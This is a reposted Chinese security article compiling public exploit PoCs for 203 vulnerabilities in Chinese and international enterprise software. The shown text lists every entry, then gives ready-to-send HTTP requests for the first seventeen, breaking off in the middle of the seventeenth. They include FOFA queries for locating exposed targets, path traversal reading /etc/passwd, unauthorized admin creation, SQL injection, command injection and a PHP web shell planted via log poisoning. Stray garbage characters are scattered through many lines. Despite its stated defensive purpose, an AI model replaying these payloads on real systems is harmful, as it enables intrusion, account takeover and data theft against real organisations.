互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
7 H+ M" Q: o0 J8 A; V  X道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
* A. T! n1 S& v+ K! q- w
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
3 n4 q0 H2 J. x
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
1 o+ Z  D7 X, t' ^- w0 _
* Z  {) `0 K' I4 v6 r安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
8 u  L- B8 ]5 @% `
% I4 J" Z4 ?6 f# @文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
+ H9 w8 c- [5 w8 b8 ?! i1 c: q/ T
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
+ @( r5 z7 g* h$ @

) ?  Y- z/ D5 |. h  M声明
+ P: s8 S+ v. V6 Q4 j- C5 u( D+ u
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

* t5 `7 }9 z  |2 I- ?有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。


) F( R( [. U  j( q
目录

01

1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
+ c& J; R+ Z" D* w4 U5. NUUO NVR 视频存储管理设备远程命令执行
5 z  z, x6 N7 ^3 \7 F; w6 j6 H9 Q  F6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
" }3 _* L3 V0 t& h9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
6 D/ E( A  ^1 |; C11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
/ |7 `. P$ }0 j0 P; Y9 J* i2 D' s13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
- R3 t9 t  M* b% ]  \16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
" u! I$ O* O. i: T- t20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
+ K8 Z$ r& d' [' S6 ?' [: d+ P22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
: _6 M  g: k; {! J- V24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
5 s* g! }! S7 }5 ]27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
' q0 @7 Y* h8 x) R9 k31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
* b  w" n8 P' j+ r: p6 ^33. 用友NC downTax/download SQL注入
5 O6 M' b! N6 F0 v34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
9 d: t/ j: |5 P9 ?- m3 p7 \36. 用友NC-Cloud soapFormat XXE
! \! b! z  U4 l+ ]8 c37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
$ u7 I. R9 \% d1 g39. 用友U8 Cloud RegisterServlet SQL注入
* e; R# C/ p3 |8 B$ h$ P" ~( F40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
4 L: S8 i$ r  o. m7 E42. 用友GRP-U8 SmartUpload01 文件上传
& f) l7 t: o1 j; j* b43. 用友GRP-U8 userInfoWeb SQL注入致RCE
4 t1 G$ T1 T9 C1 z+ O- M: \7 k$ o2 _44. 用友GRP-U8 bx_dj_check.jsp SQL注入
6 H0 _& ~6 M' [# k+ m3 a45. 用友GRP-U8 ufgovbank XXE
  |1 e' V& ^  m: Z46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
, J: m1 Q8 B# o$ O# F48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
0 W' U/ G0 ^! U: s50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
* r, S& N) R0 @$ v53. 迪普 DPTech VPN Service 任意文件上传
' @- {1 p5 G( N. q/ ^54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
$ s% e" f1 h, N+ K3 I0 q56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
+ @! I- I$ T0 {! }, o) [: X5 J57. 畅捷通T+ keyEdit.aspx SQL注入
# q3 ^4 H. {) I$ n1 ^/ p58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
5 s% n1 {2 F0 {$ L/ ?! e62. IP-guard WebServer 远程命令执行
( N- d) [3 B- Y+ [' q& }4 A63. IP-guard WebServer任意文件读取
1 C, ^3 C% L$ Y64. 捷诚管理信息系统CWSFinanceCommon SQL注入
% j9 u: ]* ?* P# x+ k65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
6 l- f$ s& F" n3 F" n7 \66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
5 |$ n8 d9 J( c" X' R! K7 f2 l67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
/ j6 n' _) y+ z8 @8 x5 [69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
2 h( H0 N5 c0 T, s* Q# |! i71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
# Q; N' Q* L. k- c/ v5 w6 d, \) P74. 致远M3-server 6_1sp1 反序列化RCE
3 \1 v" r: b* B5 _: ?. f* b; f75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
1 b$ w1 @. \( m76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
0 f) k. ^) Z0 C9 d80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
3 E; z! s  i  m% a83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
0 R$ f& f/ O( n6 U- @95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
: J+ u# T: a* c) \; w96. Apache OFBiz  18.12.11 groovy 远程代码执行
0 z1 {/ n' a% i9 h+ C9 M" y# |97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
8 d1 {! h2 M9 d; _102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
$ R7 S! J3 @! l0 O104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
: x/ b% `! [/ p1 n4 O3 ?105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
# f4 ?; |' R1 j5 T, g# }108. D-Tale 3.9.0 SSRF
) h2 A  n3 [- I8 b" o5 F4 o# f109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
. y1 @% B  d! }111. WordPress Plugin HTML5 Video Player SQL注入
) E# B6 U& ^. V$ }; u112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
" i: ]1 b# i( X116. wordpress js-support-ticket文件上传
0 L- j6 w. h0 p2 S# c& A117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
$ D; n6 R4 X" T119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
0 Z# a/ n1 N/ Q. n7 }7 Y9 ?) n$ l122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
7 s3 f) m$ V8 j; y5 _6 A! V- j124. 湖南建研工程质量检测系统任意文件上传
. u6 ^- `4 ]% i125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
- a& q# j2 J/ q# S128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
6 ^: x  T6 h. T130. Laykefu客服系统任意文件上传
2 r5 e1 c' O7 ?4 A131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
. L& K) t- x. S/ H136. NextChat cors SSRF
- M) j* w0 T: K; U* d) I, @137. 福建科立迅通信指挥调度平台down_file.php sql注入
! k8 y- x: W+ z) e# y5 Y138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
6 m; w/ G9 ^4 g4 V# D139. 福建科立讯通信指挥调度平台editemedia.php sql注入
* L7 H+ S: Z, k140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
9 L9 J' ^$ h/ M141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
1 I* e8 g0 A' L) @. ~8 O143. Netis WF2780 v2.1.40144 远程命令执行
6 L8 M$ l/ O$ \. S9 M' ]; S0 O: r: i144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
! Z. |0 B, @/ X147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
# g5 p0 h* a/ W# i! b! k148. CrushFTP 认证绕过模板注入
+ T* @+ n2 T1 ]' d  h6 H: X149. AJ-Report开源数据大屏存在远程命令执行
4 Q) V3 {0 A- N3 l$ o150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
& l9 X5 O' i1 N# {155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
8 [  W$ }' L4 R8 C157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
% X5 R. C- u% M2 J4 c& Z4 n4 A159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
& |: B/ @1 b' J3 |0 W7 V161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
4 |0 E, h. Z: L% c+ C; ~165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
! b6 Y& g- i8 m! _1 Z167. 精益价值管理系统 DownLoad.aspx任意文件读取
3 _" i3 ^6 x7 b9 ?0 C7 x168. 宏景EHR OutputCode 任意文件读取
' g; T) W' y. s. h8 R5 [7 s( Y169. 宏景EHR downlawbase SQL注入
/ N4 h& z8 A( ?7 @( B: w170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
, f$ {+ y/ i3 P$ W" ?175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
' n, g: `* Z8 K% H5 @; Q. R186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
& j9 O1 Q7 g$ o( s+ _! C' M! Y188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
6 y. _' N$ _% F6 a192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
, i. c3 T' {' n+ W194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
: |5 t2 `) m$ V3 E/ o$ S% G4 k195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
5 w4 e/ x7 u6 Y5 w  f2 A) L196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
$ T% J7 @- {9 p7 ]200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
' Q7 }& {% `6 ~0 M203. 红海云EHR PtFjk 文件上传

POC列表

02
  F' w& A8 Q8 d( o6 A
1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
' M1 L- G4 G  Y5 zGET /mem_tracker HTTP/1.1
Host: URL
* X9 R; L7 f" [4 A* x% |4 J* W
& Z& K# t4 Z" r- l2 e
2. Casdoor系统static任意文件读取
- r7 c9 j9 V. uFOFA ：title="Casdoor"
0 C* k# `- w* ^+ M8 cGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+ q0 `$ y0 H8 oConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
3 v2 ^. k$ v6 v9 f& N
: t) a2 ?) i' t. s) |  T
3 z$ E9 F" |7 H4 O  K3. EasyCVR智能边缘网关 userlist 信息泄漏
2 b2 n3 f7 q+ s1 |FOFA ：title="EasyCVR"
* m& R6 J& T- X" e  t( fGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx


7 H* U- Q( }+ J0 D% f/ b4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
" @* [3 o4 {6 [9 d/ @$ r
password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
4 O" Z) z, E/ H8 R7 Z% hContent-Type: application/x-www-form-urlencoded; charset=UTF-8

; W% J5 e3 U9 K& d: Ename=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

7 J5 d# S! _9 C- s2 ~' b" V
5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
, ^/ E! U% G; Z. d3 h0 F9 Y/ @

9 @5 Q4 Y! P2 [6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
7 A5 g* @. `! m+ x- ]5 ?1 Y

7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
% j! S4 I  D- [3 E0 MGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
, B$ Q2 ~3 Z# nHost:
5 B; t5 J* s: S9 C6 n: \. ~

8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
3 Z3 \9 e9 G1 y0 Z! a  jPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
! |! Y6 h0 L$ f5 dContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
: T. V; _; [- b3 z2 f
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

9 }  P7 w! {  M2 w+ Y- \# D; @0 N9 {%s
( G) F: L$ |' d% m( C8 `% l' @------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
7 m- v) ~- t$ i: O% P
12:00; id;
0 c# Y5 P4 a& L( E7 w* q------WebKitFormBoundaryxbgjoytz
3 K4 g& X: r2 GContent-Disposition: form-data; name="wifiRebootendrange"

/ R" [& n  a: T) s" f1 d+ D: k4 W% g+ B%s:
+ \8 P5 E: ~1 b) d8 R% D2 `------WebKitFormBoundaryxbgjoytz
8 _0 O; W: j0 a3 p* FContent-Disposition: form-data; name="cururl2"
# D4 P( {& b- ~& u3 ~: r) k# l

; B/ O! M+ h" A! ~. P; X/ \  j------WebKitFormBoundaryxbgjoytz--
6 a! V( |- M. k+ n1 Q% Y' c

9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
0 v% U9 }8 P+ }Host: x.x.x.x

+ y; E9 c# ?9 H
payload为下列语句的二次Url编码
/ f2 P2 H0 a% n$ N
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

2 S7 n! W% E" y, a10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
" a- ?' P+ E, h& kFOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
1 O1 x. U& Y$ _5 x& ]5 i3 ~  YPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
  L1 n' F3 M& i; |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
5 n# `1 D1 d& o/ K3 x" Q  IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
. z; z# N+ i% R4 ^2 SAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 o( u+ x& V" [! jConnection: close
2 c- M# P. E* G7 b* y7 c# K9 oContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
# v) @# o. I4 }5 v5 N& ~8 d+ bContent-Type: text/html
' R: h$ |& e: S# w
jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--

4 F' w$ X: n8 }1 c( F! Y% a
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
& y) w9 I( a  `$ R) r- @FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
% s8 R4 V/ [) z2 z4 `; Y3 _8 ~8 TGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
7 \2 X& \. s4 K  y5 h, [Upgrade-Insecure-Requests: 1
# K- ]# B4 n1 U% q/ XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
$ p  R6 L, _2 n# D1 n  }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! p1 `8 |8 G# P7 Y1 \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
3 U$ S/ q& A* xConnection: close


12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
. b5 e; R/ s+ D) F* ?9 J第一步先拿到cookie
+ C4 `4 `: S1 G$ H8 l0 rGET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
7 Z2 l2 R- b& U- [. R' b6 sConnection: close
* p: F; u6 y$ EAccept-Encoding: gzip
5 Q+ _' c9 Y% }  Z; f; I, i1 j

1 p- }3 k" T$ Q) S/ M. i2 Y) F响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
, W1 q0 @% T8 v% D" O( ]Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
0 i# E1 z% K& ]& L/ PExpires: Thu, 19 Nov 1981 08:52:00 GMT
0 z; P9 y  u) T4 X; YLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
5 D, L& a( W2 L& C6 S+ k6 lServer: Apache/2.4.54 (Debian)
2 D  _+ E9 c' [( ?8 t: F; M- V2 w, BSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
9 Q0 \0 t& D3 ^3 l0 E: q+ N. x1 `( Z. mVary: Accept-Encoding


POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
* r* s6 b- a7 _Host: 192.168.190.30
8 L) S- Q" x9 Z8 A+ h1 ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
' T% b; B" `  O+ E$ a: {' N. ~Connection: close
Content-Length: 252
1 D0 ~5 n0 @) oContent-Type: application/x-www-form-urlencoded
" a7 ?: ]# |  v1 |Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
5 p4 e+ I  l/ D( }, o% [
" n: l: [  r4 u$ [! bcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
7 w* i% d- s' S5 s% D

& E% B( R: m, u/ d
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
& O, I9 x" n1 hHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip


) L+ o  k' X" D$ y  P9 v2 L13. 红帆iOffice ioFileDown任意文件读取
; p& C2 Z+ O; O  A- E. \& KFOFA：app="红帆-ioffice"
" e( T5 w, X' u' ?4 YGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
# [& P5 L; `. p. g' L) [1 F2 fConnection: close
Accept: */*
! H" n) p0 g% D0 n  s8 jAccept-Encoding: gzip
1 h4 o/ n+ U4 U& p* c  @
) X4 f% u- y, q8 Q- K- ?4 \( b4 o
9 q2 K  n6 E% v' b14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
, P3 |6 p5 l* `- h# I0 Y. ~/ ^% L泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
; O# u, Q9 r) F, [7 e1 `% eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
3 F6 `5 q. I: T3 {3 L# Y$ O8 N0 cAccept-Language: en
Accept-Encoding: gzip


  S& f4 \8 g) S; @3 J2 f4 E# W15. 华夏ERP getAllList信息泄露
; ~- K+ o! m8 ^) {- gCVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
0 t; c" X; m: d6 a) aGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
" A5 f& ^5 C6 _: x) vHost: 192.168.40.130:100
# K: ?3 X7 f7 o5 n1 b# [! UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
/ w7 o, E% J6 ~Connection: close
/ H8 h: B4 |% M! T* k4 ?Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
+ `; H5 T8 f$ N4 tAccept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip
, J4 ?  Y, s7 f3 r7 \

16.  红帆HFOffice医微云SQL注入
  W  {5 {2 `& q* tFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
/ p  E8 U' |& F6 HGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
# ~2 ~9 l9 e9 `* u3 lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
: P" {  z1 y; Q7 e$ L1 ^( _Accept: */*
Accept-Language: en
4 H# N0 \# p! J. y9 CAccept-Encoding: gzip
! K0 a7 z0 K. s6 D7 c4 y+ ~4 k- F

17. 大华 DSS itcBulletin SQL 注入
% D9 E! ?7 Q3 s& E7 [% b! `$ G& [FOFA：app="dahua-DSS"
% S- x3 o- n( r7 f" g; OPOST /portal/services/itcBulletin?wsdl HTTP/1.1
% I1 ~$ E5 b! zHost: x.x.x.x
